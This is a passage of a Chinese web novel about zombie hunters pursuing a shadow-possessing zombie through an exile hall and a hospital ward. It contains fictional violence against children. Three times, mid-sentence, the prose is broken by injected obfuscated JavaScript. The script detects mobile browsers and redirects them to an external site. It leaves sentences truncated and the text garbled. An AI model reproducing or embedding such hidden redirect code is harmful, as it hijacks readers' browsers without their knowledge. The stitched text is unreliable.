只是眼前的这些人,哪一个才是他的新目标? 24.匿影夺魂⑤ 黎柒染的目光扫过车内众人,老人?母亲?孩子?还是那个捧着骨灰盒的怪异女孩?亦或者沉默懊丧的闹事民众? 谁才是沈嘲天的新目标? 智脑内部通讯属于静默连接状态,她已将现场情况和初步判断同步给正赶来的舒厌。即便如此,黎柒染仍希望能在此之前,尽可能缩小目标范围。 三人加密通讯群里,蚩蓠率先发了一条信息:「车上有个老熟人。」通过黎柒染隐藏式执法记录仪传回的影像,她一眼认出了陈小童。 舒厌很快同步道:「这个断臂女孩是前几天鸽笼巷任务救下的幸存者,名叫陈小童。她刚失去母亲不久,胳膊是被变成僵尸的外公扯断的。昨天才从署里的医务室离开,今天早上因为连续三次拒献,被执行流放惩戒。重点留意她。」 「收到。」黎柒染回复。实际上,不需要舒厌提醒,她怀疑的天平早已向小童倾斜。 这女孩实在太过冷静了,经历了种种悲惨的境遇,却没有像普通未成年一样不知所措或者悲伤不已,只是抱着骨灰盒,静静等待着城防军的安排,仿佛周遭的一切喧嚣都与她无关。 纪伊依撕心裂肺的哭嚎还在继续:“放我回去……我献血!献多少都行!别送我去外面!” 车外守卫厉声喝止:“城防重地禁止喧嚣!少给我瞎嚷嚷,谁再违抗指令,电刑伺候。” 见纪伊依仍喊个不停,守卫终于忍不住甩动电鞭,“刷”地用力拍在她身上,刺耳的噼啪声和纪伊依的痛呼交织,终于让她蜷缩起来,只剩下压抑的呜咽。 车座靠里的几个闹事人员哪里见过这种酷刑,直接吓得失禁,哆哆嗦嗦却也不敢发出太大的声音,城防军还没有安排他们下车,一时间,整个车里全是屎尿味。 两个孩子年龄尚小,虽然听得懂威胁,但恐惧的本能让他们抑制不住地哭泣,小男孩用力扯着母亲的衣袖,哭喊着:“妈妈,我们回去吧,我怕……你回去献血好不好,不够的话,抽我的血行不行?我不要去城外,这个人好可怕……城外有怪物……妈妈……” 他旁边更小一点的女孩则乖巧得多,紧紧依偎着母亲,虽然害怕,也只是睁着一双大眼睛,好奇地打量着车外陌生的环境和守卫。 “哥哥不怕,刚才的守卫说了,再闹要被打的。”小女孩反倒安慰他说,“我们已经回不去了,就算回去了,我也不想跟着爸爸,我要和妈妈在一起。” “呜呜呜~”男孩不听妹妹的,还是一个劲地哭个不停,在有限的座位空间里,母亲根本没法安抚他。 突然,车外沉重的脚步声由远及近,母亲赶紧捂住男孩的嘴,生怕城防军一鞭子过去让儿子血溅当场。 几名身着标准城防军制服的士兵出现在车门口,为首的两人身形挺拔,气场迫人,正是伪装后的舒厌和蚩蓠。 他们的到来让空气几乎凝固。 蚩蓠看似随意地扫过车内,她首先看到了崩溃的纪伊依,然后视线掠过咳嗽的老人,最终落在了母亲和小童身上。 女孩帮着母亲捂住还在不断挣扎的男孩。小童似乎感受到不寻常的气息,抱紧骨灰盒的手臂微不可察地收紧了一下,但依旧没有抬头。 舒厌一挥手,身后的士兵依次上车,解除电流囚笼后,加固了每个人双手上的镣铐,就连两个孩子也不例外。 戴着手铐,母亲没法再抱着两个孩子,男孩彻底失控,哭声越来越大,下车后,直接撒泼躺在地上不肯离去了。 “我不走,我不走,我要回家,我要回去找爸爸。” 母亲脸上只剩下麻木,儿子出生起一直是个高需求宝宝,家里已经够穷了,可男孩想要什么就必须立马得到,拿不到就不顾场合大哭大闹,对此她已精疲力尽,积攒了多年的愤怒眼下就要爆发,却只听见女儿一脚踹开男孩,骂道:“闭嘴!想死不要拉着我和妈妈!” 女儿拉着她往队伍前面走去,留下还在地上哭嚎的男孩,守卫毫不客气地一把拎起他,揪着耳朵就往前拖,许是被对方蛮狠的气势吓到了,男孩最终还是认怂般抽抽噎噎地跟上了队伍。 蚩蓠和舒厌一个走在最前方,一个走在末尾,掌控着队伍。 舒厌在三人群问:「@黎柒染,注意到那个女人带的两个孩子了吗?之前他们在车上的表现怎么样?」尽管有黎柒染的执法记录仪,但亲历者的判断会作为重要参考。 黎柒染:「注意到了。刚上车的时候,两个孩子都比较安静,纪伊依行为反常之后,男孩子才出现这么大情绪波动的。我一开始怀疑陈小童,不过她没有表现出太多变化。那个男孩子劝妈妈回去献血,会不会是沈嘲天在影响宿主,想找机会返回相对安全的内城?长官,我们是不是应该对这个男孩采取措施?」 舒厌:「不,刚好相反,黎柒染,盯紧那个女孩子!路艋已经部署好强光无影阵列在流放大厅待命,要确保她跟其他流放者拉开距离。」 不等黎柒染再问,舒厌快速用视线输出文字讯息,补充道: 「男孩的表现不算异常,就算是成年人,面对墙外完全未知的恐怖世界,也没有多少人能真正保持镇定。最关键的是,女孩一直盯着旁边的钟楼,现在快六点了,部分僵尸还保留着末日来临前的生物钟习性,能力会在太阳完全下山后得到强化,他很有可能是在为出逃做准备。」 黎柒染:「明白了。我来引导女孩离开她母亲。」 指令无声传达,伪装成城防军的猎尸队队员看似在维持秩序,实则已经悄然控制了流放队伍周围的所有出口的制高点。 流放大厅内,路艋等人已完成布置,普通吊灯被替换成特制灯具,便携式强光无影阵列埋伏在支柱和告别台之下。 此外,持有等离子高能手.枪和桃木手.枪的射击队员全部就位,错位安插,能量条和刻满密宗真言的桃木子弹全部准备完毕,只待沈嘲天自投罗网。 阵列一旦启动,沈嘲天势必亟不可待地寻找下一个宿主,当他只能困于小女孩的影子里时,极有可能将其转化为僵尸鱼死网破。 只有在女孩转化为僵尸之前杀死她,才有可能彻底湮灭沈嘲天。 之前猎尸队的自愿者失败,一方面是因为没有考虑僵尸宿主不死的特殊性,另一方面,能控署寄希望于操控被封印的沈嘲天生产血晶,但实际操作的复杂性让仇怜央不得不放弃,最终直接下令杀死他。 为了消灭一个A级高位僵尸,牺牲一个可能已经被完全控制的孩童,是猎尸队规则下的必要代价。 一种沉重而无奈的肃杀氛围笼罩下来。 队伍沉默地走向流放大厅。 厅前告别台上,一个身穿白袍的牧师声情并茂地进行着最后的“祝福”:“此去城外,或许永远无法再见了。或许你们曾有些许不满,促使你们做出了违抗本心的行动,但你们过往的付出,联邦将铭记于心。阿门。阿弥陀佛。沙扬娜拉。” “……” 流放队伍的人群并没有因为牧师的语无伦次而表现出任何多余的情绪,恐惧像挥之不去的阴影,笼罩在几乎每一个人心头。 而猎尸队这边,气氛已经紧张到了极点。 黎柒染握紧藏在袖中的武器,手心渗出冷汗,千钧一发之际,她一个肘击撞倒女孩母亲,两人就势朝大厅西侧滚去。 袖中武器命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394188|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中女孩后背,将她死死钉在地面。 强光无影阵列瞬间启动,照得大厅里的灰尘都无所遁形,女孩被身后利箭扎穿胸口,痛苦地呻.吟起来。 就在射击队亟待发射的刹那,编外小队蹿出一个人影,不顾一切地冲进了密集的子弹丛林。 江恨白张开双臂,仍由子弹往他身上射入,他死死抱住小女孩,像一只护崽的母鸡,双目赤红地瞪着埋伏的队友,声音颤抖却异常响亮。 “不能动手!她还是个孩子!你们不能杀她!” 这一幕出乎所有人的意料,黎柒染愣住了,一组队员和编外小队一时不知道该如何反应。 舒厌吼道:“江恨白!让开!你知道自己在干什么吗?” 江恨白却像是豁出去了:“不!我不让!你们不懂,什么狗屁任务,那是一条命,一个活生生的孩子!舒厌!你凭什么断定沈嘲天寄生了他!” 舒厌愣怔了一下,突然间,他意识到了什么,以最快的速度指挥队员,重新将无影装置对准纪伊依。 蚩蓠忍不住偷笑,这才对嘛,反应有点慢,但还不算无可挽回。 她一直在冷眼看戏,但也并非全无思考。 既然沈嘲天的目的是离开不夜穹隆,又何必半路抛弃纪伊依,更别提选择什么新的宿主。 纪伊依的异常完全是障眼法! 至于小女孩动不动就往钟楼那边看,大概只是沈嘲天临时操控的结果,蚩蓠相信,他绝大部分时间都待在纪伊依的影子里。 也就是说,他让主要宿主伪装崩溃,利用备用宿主制造异常转移注意力。 沈嘲天,果然是个麻烦的对手。 刚才的风暴中心,大厅中央,江恨白抖着被子弹洞穿的身体,破碎的哭声中带着滔天的悔恨:“我的孩子……才那么点大……” 他再也说不下去,整个身体盖在小女孩身上,小女孩身上的箭矢反向穿过江恨白的胸膛,血流交汇,宛如一个扭曲的整体。 意识模糊中,他终于卸下了那股怨气,终于想起了自己孩子的脸。 被强制休假、组长之位被黎柒染取代,江恨白始终无法接受,他悄悄潜入编外编队,最开始只是想要证明自己,他分明还可以继续出任务,舒厌为什么要放弃他! 可就在得知舒厌下令将目标锁定在那个与自己孩子年龄相仿的小女孩身上,甚至准备牺牲她时,他彻底崩溃了,那段被他深埋的血色记忆不断重复再现。 两年前的雨夜,窄旧的房屋内,江恨白拖着疲惫的身子下班回家,听到的不是孩子们的嬉笑,而是令人牙酸的咀嚼声和微弱的呜咽。 他透过门缝,眼睁睁看着自己年幼的孩子,被他变成怪物的双胞胎兄弟江念墨啃食…… 他就这样站在门口,静静地看着。他当时为什么没有立刻冲进去?是因为恐惧?还是因为内心深处那一丝可耻的解脱? 八个孩子的负担实在太沉重了,每天都将他压得喘不过气来,如果……如果少几个孩子,一个?两个?他只觉得天旋地转,就犹豫了那么几秒,仅仅几秒而已! 等他终于崩溃地冲进去时,已经太晚了,四个孩子就这样被生生扯烂骨肉,生吞活剥了。 他亲手抓捕了江念墨,用兄弟的血和孩子们的命,换来了晋升,也换来了一劳永逸的解脱。 如今,他好不容易爬到了组长的位置,却轻而易举地说被替换就被替换了。 他四个孩子的牺牲,究竟是为了什么?! 他恨舒厌,为什么要让他强制休假,为什么要让他亲眼参与对另一个孩子的猎杀?! 为什么……为什么…… 25.匿影夺魂⑥ 在识破小女孩的异常不过是沈嘲天声东击西的伎俩后,舒厌命令作战人员,以最快的速度重新将目标对准纪伊依。 命令下达到执行,整个过程不到三秒。 密集的能量光束与桃木子弹如同疾风骤雨,顷刻就将纪伊依的身影吞没了。 在覆盖了整整三百米大厅的强光无影阵列下,她无所遁形,身体被打得千疮百孔,当场气绝。 所有人都松了口气。 按照之前对沈嘲天的异能情报调查,当他没有宿主可以寄生时,只能选择夺走最后一个宿主的意识。 纪伊依必然已经被沈嘲天夺舍了。 舒厌迈步走向纪伊依残破的尸身前,手中多了一柄完整的桃木剑,与桃木断剑封印的威力不同,此剑蕴含的力量,足以将僵尸的存在彻底抹除。 他毫不犹豫,剑尖刺入那颗已经停止跳动的心脏。 剑身在纪伊依胸腔蹿起一团金红色的火焰,密宗真言雀跃其中。火焰自内向外,疯狂吞噬着纪伊依的躯壳,血肉筋骨在众人眼前迅速碳化崩解,最终化为地上一小撮灰白的灰烬。 一阵短暂的沉默后,全场欢呼雀跃。 不少埋伏的狙击手和阵列操作员激动地将手.枪和设备抛到空中,完全忘记了不远处,如同羊肉串一般叠在一起的沈嘲天和小女孩。 “肃静!”舒厌扬手,示意大家安静。 这里毕竟是城防军的地盘,猎尸队还是打了报告才借用到这块地的,不宜太过高调。 舒厌皱了皱眉头,没有说话,要不是他大部分时候都不苟言笑,旁人定能看出他此时的不悦。 差一点,差一点就被沈嘲天这个老狐狸骗了。 他第一次感到后怕,不是害怕伤害了无辜的小女孩,而是他极少极少被人耍,以至于弄错事情的真相。 回过头想,实在是他这次大意了,那些细节和逻辑分明如此明显简单,他却险些掉进了对方的陷阱。 即便纪伊依的尸骨已经散尽,他依然有种不真实的感觉,这是他第一次动用完整桃木剑执行“彻底湮灭”,也是在场队员激动不已的原因。 他们一直都被猎尸队执法条例和能源控制署规则约束,只能使用桃木断剑封印高阶僵尸,时刻谨记着不能浪费宝贵的潜在能源。 这也是他第一次从仇怜央手里领到完整的桃木剑。 虽然只是多了一截剑身,他却觉得重了好几十倍,挥剑刺入的能量芒刺几乎要叫他睁不开眼。 “长官,”蚩蓠的声音在他身边响起,带着明显的讥诮,“再不施救,那两位可就真要去见阎王了。” 舒厌仿佛才从游离中清醒过来,立刻下令让医务人员做紧急处理,将江恨白和小女孩送往重症急救中心处理。 * 这是短短三天内,江恨白第二次被浸泡在温热的营养液中,意识昏沉。 朦胧间,似乎有人告诉他,那个被他拼死救下的小女孩就躺在隔壁,内脏和肌肉长势良好,很快就能离舱了。 而他自己因为身上中弹太多,多处脏器受损,需要进行昂贵的仿生器官移植,手术费和义体费用将由舒厌个人一力承担。 “呵。”江恨白在心底冷笑。 舒队长这么有钱,不过是从指甲缝里抠出来一星半点赏赐给他,难道还想叫他感激涕零吗?! 根本就是为了堵上决策失误的非议吧! 强烈的愤懑和虚无感堵塞了他的胸腔,猎尸队的晋升的欲望让他付出了难以想象的代价,如今,一切仿佛都成了笑话。 一个模糊却坚定的念头在他昏沉的意识中成型:等他身体彻底恢复,就向喻风申请辞职,反正在这里也待不下去了。 他眼前不断闪过那堵隔绝一切的巨墙,一股莫名其妙的使命感撅住了他的心神,他要加入城防军!不管外界传言城防部日子过得有多苦,有多难,他也要义无反顾地加入! 这是他活下去最后的意义和价值了。 江恨白不知道,在特制探照灯的光晕下,他那投射到舱壁上的影子,正在以一种不自然的方式缓缓扭曲膨胀,最终如浓墨般覆盖了他整个身躯。 有些人总以为命运之神眷顾了自己,幡然醒悟,对世间产生了一种无所不知的通透感,殊不知,他只是被一种比自己强大得多的力量悄然植入了。 就像人类给蚂蚁画圈,蚂蚁便以为它生命的意义就在这个圈内,从此它的使命就是自囚于圈,饿死累死也在所不惜。 医务室的门被推开了。 一道高挑的身影走入。红眸,马尾,是寒黎。 她静立在营养舱面前,目光透过玻璃舱门,平静地落在江恨白脸上。 他突然感到一阵害怕,这是一种猎物对狩猎者天然畏惧的本能反应。 他不由自主地蜷缩成一团,避开了那道仿佛能洞悉一切的目光。 “猎尸队的情报果然不怎么样嘛。”寒黎开口,声音不高,却清晰得如同耳语,“你们都以为,开启无影阵列之后,沈嘲天只能困死于纪伊依体内。但事实上,他还有另一个选择,夺走那个小女孩的意识。任何被他寄生过影子的人,都会成为他的备用容器。我说的对吗,沈、嘲、天?” 她的语气毫无犹疑,似乎已经肯定这就是答案。 “你的「匿影夺魂」有个致命缺点,一旦强行夺舍宿主,对方脑部就会严重受损,瞳仁还会慢慢褪色。” “那个小女孩,为了不让人发现她的眼睛有异,你一直控制她紧紧闭着双眼。这很危险啊,你随时会被发现,不是吗?” “所以你再次更换了宿主,偷偷转移到了同样在重镇监护室的江恨白身上。” 突然,光影晃动,蚩蓠的影子被拉得忽长忽短,忽大忽小,一场无形的较量和厮杀在安静的病房内激烈上演。 蚩蓠虽无法直接控制这源自夜璃的异能,但阻挠沈嘲天得侵蚀,对她来说并非难事。 两团黑影在地面纠缠许久,最终以江恨白的影子逐渐退缩回营养舱结束。 江恨白猛地睁开眼,眼中再无昏沉,只剩下冰冷的警惕:“早觉得你不对劲,你到底是什么人?” 蚩蓠附身,红眸几乎贴在玻璃上,饶有兴致地问:“哦,你说说看,我哪里不对劲?” “你……”江恨白语塞,刚才那股莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415780|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恐惧,医务室忽明忽暗的光线,都让他坚信寒黎有问题,可他反复回忆先前跟她相处的一切,却又无法举证对方究竟哪里有问题。 他只得重复道:“你就是有问题,你刚才胡言乱语说了什么,我怎么一句都没听懂?你给我下了什么咒?” 蚩蓠的红眸一眨不眨地注视着他,命令他说出内心的真实想法:“你想逃到不夜穹隆外面去?为什么?这里有什么你害怕的人吗?” “我……那个女人,分明被我封印了……我知道,她醒了,她在找我!她还是非常恨我!不行……我要离开这里,离开……离开……呃!” 仿佛被无形的手扼住咽喉,江恨白眼球凸出,挣扎了几下,再度陷入昏迷。 病房的门开了又关,蚩蓠像一阵风似的离开,不是因为吴李静前来查房,而是沈嘲天的话太过惊人,唤起了她埋藏多年的回忆。 原来如此,舒厌说的没错,她的确认识沈嘲天,只不过在她的记忆里,对方一直被夜璃称为“沈郎”。 沈郎曾经是夜璃生前的未婚夫。那夜,一把大火烧死了夜璃一家和寄宿在她家的蚩蓠,得知消息的沈郎伤心不已,想要偷走尸身完好的夜璃。 可是大火残留的灰烬脏污了蚩蓠和夜璃的脸,两人长相本就极其相似,身上的衣服也被烧得支离破碎,沈郎根本无法分辨哪个是蚩蓠,哪个又是夜璃,情急之下,他带走了两人。 沈郎守着两人的尸身,睁大了眼哭了一天一夜,有个路过的道士见他可怜,告诉他自己有个朋友,懂些微末法术,成功复活了死去的妻子。 沈郎听闻大喜,带着两人尸身,跟着道士前去寻找他那个会法术的朋友,只是没有想到,这个所谓的朋友就是道士自己,他还没能成功复活妻子,但是希望借蚩蓠和夜璃的尸身测试一番,死马当活马医。 道士给了沈郎两个秘宝,一个是极阴之物,一个是极阳之物,需要完好保存两人尸身,待到血月之夜,施法引出极阴极阳之物的能量,汇同天地灵气,或许可以起死回生。他还额外叮嘱沈郎,极阴之物更适配这些死物,极阳之物恐有变数。 然而,面对面容难辨的两人,沈郎陷入了绝望的抉择。血月将至,在当时的年代保存尸体本就不易,他心一横,闭着眼将宝物分别置于两具尸身的心口。 就是这一错置,让已经被命运捉弄的两人,再次遭到了戏弄。 极阴之物滋养了蚩蓠,让她成为强大的尸祖,只需要躲避阳光,昼伏夜出即可吸收月之能量。 可经由极阳之物复活的夜璃,必须要从阳光中得到能量,这与僵尸无法窥见日光的诅咒相悖,她既要依赖日光,又备受其灼烧之苦,久而久之,她的不死之身也因为阳光的烧灼而溃烂,容貌尽毁,性情也不知不觉愈发暴虐。 蚩蓠并不觉得夜璃心性大变是毁容所致,或许极阳之物本就容易催生人内心的狂躁,这跟炼尸之法有密切关系。 后来,复活了夜璃的深情之人,也终究逃不过人性的考验,沈郎再也无法忍受动辄杀虐的夜璃,他深爱的,一直只是那个活泼可爱懵懂无知的少女。 少女不在,他的爱也不在了。 26.匿影夺魂⑦ 夜幕已经深了,坐在办公桌前的舒厌始终绷紧着一根弦,他收集了各个角度的执法记录仪,播放着早已看过不下十遍的视频。 到底哪里不对劲? 沈嘲天是他猎尸生涯中为数不多的劲敌,上一次的抓捕远比这次凶险得多。 照理说,吃过亏的沈嘲天应该会更谨慎,甚至对猎尸队的套路了如指掌才对。 强光无影阵列、真言子弹、噬尸电鞭、等离子高能手.枪,还有桃木剑,他哪一样没领教过?怎么会如此轻易就被彻底湮灭了? 是他高看了沈嘲天,还是……他漏掉了什么? “长官,”蚩蓠敲门,未经允许就走了进来,“来杯咖啡吧,提提神。” “我不需要。”舒厌极快地瞅了她一眼,看到咖啡一点热气都没有,语气更加不耐,“低温萃取,留给你自己用吧。” 蚩蓠非但不恼,反而露出一种相当享受他烦躁的表情,似笑非笑地说:“我刚才去探望了江组长,他醒了。” “嗯,知道了。”舒厌眼睛一眨不眨,似乎对此并不感兴趣。 “可是很奇怪诶。”蚩蓠故意将咖啡重重一放,深色的液体溅出几滴,果然引来舒厌的瞪视,“吴医生说,小女孩身体恢复得不错,可江组长明明伤势更重,却醒得比那小女孩还早。” 舒厌这才意识到蚩蓠话中有话,并不是跑过来故意给他找茬的,他稍一思索,终于转向她:“那小姑娘还没醒?” 得到肯定答复后,他立即接通了吴李静的智脑。 跟蚩蓠一样,作为猎尸队下属医疗机构负责人的吴李静虽然此刻深夜已经躺在床上,却还是被智脑强制连线,自动接收了领导的视频邀约。 “吴医生,有紧急问题需要你确认。”舒厌毫不留情地打断了对面的呼噜声。 吴李静的手环启动强行唤醒服务,配备的自动注射针剂直接在她手腕扎了一针,一种瞬间让人神志清明的药剂即刻注入她体内。 仿佛被人扇了一巴掌,吴李静猛地睁大双眼:“舒队,您说。” “和江恨白一起送来的小女孩,她的检查结果怎么样?” “她身体已经恢复得差不多了,但是脑部受损严重,目前还没有清醒的迹象,我判断,她有很大概率会变成植物人。” 植物人在当下的不夜穹隆几乎是无解的,尽管科技已经十分发达,但福泽并没有覆盖“大脑”这个最精密的器官,也就是说,这里的人一旦大脑受损,便意味着此人的一生彻底终结了。 蚩蓠的提示到此结束,不等吴李静详述细节,她已经悄悄离开了办公室,提前在医务室放置的录音蚊子分.身会告诉她接下来发生的一切。 舒厌以最快的速度赶到医疗中心,强行打开小女孩的营养舱,他手指翻开她的眼睑。 果然,对方的瞳仁色泽几乎已经褪得看不见颜色,只剩下一圈极淡极淡的环勉强将瞳仁与眼白区隔开来。 他心头一沉,在心中飞速推演着沈嘲天夺舍女孩之后可能的每一步行动。 就在这时,他余光一瞥,江恨白在舱内的阴影极其轻微地颤动了一下。 他没有看错,这位躺着的江组长本人一动不动,在稳定光源的情况下,他的影子居然动了! “原来是这样。”舒厌终于明白了整件事情的真相,他走到江恨白舱前,说出了与蚩蓠不谋而合的判断,“我一直以为,开启无影阵列之后,你只能困死在纪伊依体内,但其实我们的情报有误,你还可以选择夺舍那个女孩。” 此刻以江恨白为中心的水平范围一百平米内,没有任何值班人员。 实际上,就算有,沈嘲天也走不了,那该死的红眸马尾女人,将他硬生生困在了江恨白的影子里。 沈嘲天相当被动,这一次他绝无其他逃离的可能,舒厌又是个根本没法寄生的对象,他斟酌再三,决定走一步险棋。 这招棋或许对别人没用,可是对舒厌,沈嘲天自问有五成把握让对方反过来帮助自己。 “舒长官,”属于江恨白的眼睛睁开了,目光空洞地望向前方,算是承认了自己的身份,“你还记得我上次跟你说过的话吗?” 舒厌不动声色地关掉了执法记录仪,压抑住自己机械心脏的过速跳动,平静地说:“你说我像一个人,还预言我也会被信仰背叛。” “如果我告诉你一些事情……你可以放我离开不夜穹隆吗?”沈嘲天的声音里带着孤注一掷的卑微。 舒厌顿了顿,让自己显得不那么急切:“那要看你准备跟我说些什么。” “我……之前也是猎尸队的。” 他开口的第一句话就让舒厌屏住了呼吸。 “只不过那时候我们不叫‘猎尸队’,我们属于一个叫猎人氏族的组织,大家更习惯把我们称为‘猎人’。” 舒厌没有接话,他预感到更大更恐怖的事情即将从沈嘲天口中说出,不由自主地握紧了手。 “我本来只是一个级别不高的猎人,平日里也只能杀一些低阶僵尸,出于某些机缘,我封印了一个很厉害的高阶种。”沈嘲天不想在舒厌面前提及夜璃和他的过往,刻意模糊了这段历史。 “然后……在很短的时间里,我的身体出现了尸化的迹象,我……变成僵尸了。” 听到这里,舒厌几乎要发起抖来,那些有关猎尸队的就职要求,什么不能杀死高阶僵尸、不能任职超过十年、队长必须进行全身义体化改造……原来统统都是为了掩盖这个惊天秘密。 能源控制署……仇怜央他们一直很清楚吧。 如今他得知,长久以来为之奋斗的事业,原来只会让他这个自诩正义化身的屠龙者一步步变为恶龙本身。 有什么东西,在他中心彻底崩塌了。 在道出这份真相后,沈嘲天显而易见地长舒了一口气,似乎这个秘密已经在他心中封尘了太多年,需要用力呼气,才能把时光的尘埃吹散。 “一开始,我以为我是不小心被感染了,我东躲西藏,生怕被其他猎人发现异常。后来出了一件大事。”他带上了一丝久远的热络,仿佛在谈论一位故友,语气也变得柔和起来,“我那个天赋异禀的小师弟,那个跟你长得一模一样,也叫舒厌的家伙……” 舒厌强行维持着表面的平静,强撑着没有表现出任何多余的惊疑,他脑内泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“扯远了扯远了,又扯远了,唉,太久没跟人正常交流,瞧我,兴奋得。” 这恐怕是沈嘲天在掌握了「匿影夺魂」之后第一次用自己的身份跟人交流,他以别人的身份活得太久太久了,哪怕面对着随时要抓捕自己的敌人,依旧止不住越讲越激动,甚至越看舒厌越亲切,想当年,他也是经常这么跟师弟叨叨的。 “我那个师弟,封印了蚩蓠之后,唉,也跟我一样,变成僵尸啦!”沈嘲天的声音低沉了下来,“我当时可是亲眼看见了的,师傅为了隐藏这个秘密,亲手砍掉了你的、哦不我师弟的头,还烧掉了他的身体,只有那颗头,被师傅秘密保存下来了,终归师徒一场啊,师傅到底舍不得杀死师弟……” 后面的话都是沈嘲天的感慨和唏嘘,什么师傅当年真偏心啦,师弟真讨女孩子喜欢啊,不过后来师傅对我也不差了还帮了我挺多忙云云。 剩下的话舒厌一句都没有听进去,胃里早已翻江倒海,尽管在就职猎尸队队长一职时,他便失去了真实的胃。 一阵无力的虚脱感从义体脊柱窜上脑核,他下意识地抬手,指尖触碰到太阳穴。 这人造假皮下面包裹的,到底是思考了二十多年的人类意识,还是一团千年僵尸的腐肉? 27.死物 “后来,我那个师弟封印了蚩蓠之后,也跟我一样,变成僵尸了。” 分.身录音蚊的嗡鸣还在继续,可蚩蓠却跟舒厌一样,在听到这句话之后,整个人被完全攫住,再也塞不进沈嘲天后来闲聊的任何话了。 也就是说,猎人封印尸祖之后,自身也会尸化,最终变成僵尸。 将这种行为扩散一下,是不是可以理解成,猎人杀死普通僵尸之后,无论主观上愿不愿意,最终,他们都夺取对方的力量,当这种力量累积到一定程度,猎人便会出现尸化的特征,更进一步,自己也成为僵尸? 封印尸祖的转化效率如此之快,或许是因为尸祖的力量远超普通僵尸。能源控制署深谙此事,因此才明文规定,猎尸队只能封印而不能杀死高阶僵尸,至于低阶种,力量悬殊太远,一口气杀死成千上万个,恐怕也构不成秘密暴露的威胁。 事情正在往她从未预料的方向变化,这个秘密颠覆了蚩蓠对僵尸与猎人之间对立关系的认知。 真可笑啊,舒厌在听到这件事之后,内心该有多震撼,深爱的联邦背叛了他,从小被灌输的信念彻底崩塌,日日夜夜尽忠职守的工作根本就是一个笑话! 他会不会无所适从?会不会绝望得想要哭呢? 他哭的时候,眼尾也会红吗? 就像封印她的那个舒厌,小时候看着身边的猎人一个个当着自己的面死去,哭红了鼻子哭红了眼,走路踉踉跄跄,那倔强又心碎的眼神…… 是了,蚩蓠真想再欣赏一次他手足无措的样子,穿透他眼底的迷茫,将这个一直以来站在她对立面的“无脑工蜂”狠狠嘲笑一通!狠狠凌虐一通! 奇怪的是,除了那些想要将他踩在脚下的痛快,蚩蓠的内心深处,某个阴暗隐秘的角落里,竟不由自主滋生了一些旁的念想:如果不是踩在脚下,而是将他抵在墙角呢? 他眼尾的红,会不会更诱人?他滚动喉头时的吞咽声,会不会更动听? 还有他潮湿的唇…… 蚩蓠猛地甩头,这紧要关头,想的什么乱七八糟?! 思绪回到正轨。 事实上,沈嘲天告知的秘密,对于她来说也属实极坏了。蚩蓠的解封大业还没迈开第一步,就已经中道崩阻。 如果舒厌真的是千年前那个“师弟舒厌”的僵尸大脑拼装的义体人,那他本质便与僵尸无异,并且还是由蚩蓠的能力转化而来的。 按照血脉压制法则,蚩蓠应当可以操控他才对,可偏偏,她完全不能。 越想越不对劲,难道刚好相反?封印者才是血脉压制的胜利方,是舒厌这个封印者可以操控她? 不,似乎也不行。 她想不明白究竟怎么回事,这个矛盾激发了蚩蓠极大的好奇心,似乎不管怎样,她还是得留在舒厌身边,再静静观察一段时间。 凌晨四点半。 舒厌果然如他所承诺的,没有将沈嘲天还寄生在江恨白的影子里这事揭发。他怀着巨大的空虚感,回到能控署对面马路的家,闷闷地洗了个澡。 水花顺着他的头发往下垂落,在他紧实的腰窝汇聚成一条细流。舒厌闭着眼,在置物台上摸索,却发现洗发水已经空了。 这女人,一天用一瓶?! 他恼怒地想,不管他或者千年前某个也叫舒厌的人是否与蚩蓠有瓜葛,都不能让这没谱的女人继续留在身边了。 “懒人!”他通过智能家居系统在浴室安装的麦克风,远程遥控管家。 无人应答。 “懒人!”舒厌又叫了一次。 还是没有任何回应。 “啧!”他没好气地抱怨,干脆直接用沐浴露解决了事。 水汽氤氲了整个浴室,弥散到客厅,舒厌带着湿漉漉的头发打开门,到处查看,却没有发现懒人的身影。 “奇怪。哪去了?” 作为一个智能家居机器人,懒人的活动范围仅限这间公寓,一不具备买菜的功能,二更不会勤快到四点半就出门逛菜市场。 舒厌无心找它。这不太智能的管家已经用了二十多年了,是养父留给他的遗物,许是年久失修,不知道躺在哪个犄角旮旯,坏了吧。 趁还天还没亮,他有更重要的事情要做。 除了吴李静,舒厌认识的义体医生并不多,这件事情至关重要也至关机密,他只能寻求黑市的帮助。 好在,之前有次抓捕僵尸的时候,救过一名私人诊所的医生,他还记得那人名字,吴南德。 吴南德的诊所只在凌晨十二点开业,早上六点关门,专门服务一些穷得要“卖身”的女人。 只不过,此卖身不是彼卖身,这些穷苦却偏偏漂亮的女人,她们往往倾向于卖掉自己的身体,将意识转移到另外一具或普通或丑陋的躯壳中去。 寒黎的身体就是在这样的诊所里被卖掉,最终以比初价高数千倍的价格,流转到富人的世界的。 “哟,贵客呀。”吴南德打开门,瞧对方蒙着脸,可以那人笔挺的气质,他掰着指头数了数自己认识的正经人,不是舒队长又是谁。 “我需要做一个开颅检查。”舒厌开门见山。 